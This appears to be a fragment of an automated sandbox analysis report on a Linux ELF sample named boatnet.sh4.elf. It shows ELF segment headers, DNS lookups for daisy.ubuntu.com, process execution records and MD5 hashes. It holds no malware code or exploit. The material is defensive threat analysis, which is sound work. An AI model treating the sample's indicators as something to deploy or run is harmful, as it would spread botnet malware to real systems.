                                  LOAD0x170000x4270000x4270000x3b00x8a82.89000x6RW 0x10000.ctors .dtors .data .bss
                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                  TimestampSource PortDest PortSource IPDest IP
                                  Jan 16, 2025 00:57:48.136159897 CET3775653192.168.2.148.8.8.8
                                  Jan 16, 2025 00:57:48.136159897 CET4527053192.168.2.148.8.8.8
                                  Jan 16, 2025 00:57:48.144546032 CET53452708.8.8.8192.168.2.14
                                  Jan 16, 2025 00:57:48.144582987 CET53377568.8.8.8192.168.2.14
                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  Jan 16, 2025 00:57:48.136159897 CET192.168.2.148.8.8.80xb70fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                  Jan 16, 2025 00:57:48.136159897 CET192.168.2.148.8.8.80x1dfaStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  Jan 16, 2025 00:57:48.144582987 CET8.8.8.8192.168.2.140xb70fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                  Jan 16, 2025 00:57:48.144582987 CET8.8.8.8192.168.2.140xb70fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                                  System Behavior

                                  Start time (UTC):23:57:37
                                  Start date (UTC):15/01/2025
                                  Path:/usr/bin/dash
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):23:57:37
                                  Start date (UTC):15/01/2025
                                  Path:/usr/bin/rm
                                  Arguments:rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGq
                                  File size:72056 bytes
                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                  Start time (UTC):23:57:37
                                  Start date (UTC):15/01/2025
                                  Path:/usr/bin/dash
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):23:57:37
                                  Start date (UTC):15/01/2025
                                  Path:/usr/bin/rm
                                  Arguments:rm -f /tmp/tmp.pJ1K70qGTX /tmp/tmp.vhUMLtHevr /tmp/tmp.ctklcOzlGq
                                  File size:72056 bytes
                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                  Start time (UTC):23:57:45
                                  Start date (UTC):15/01/2025
                                  Path:/tmp/boatnet.sh4.elf
                                  Arguments:/tmp/boatnet.sh4.elf
                                  File size:4139976 bytes
                                  MD5 hash:8943e5f8f8c280467b4472c15ae93ba9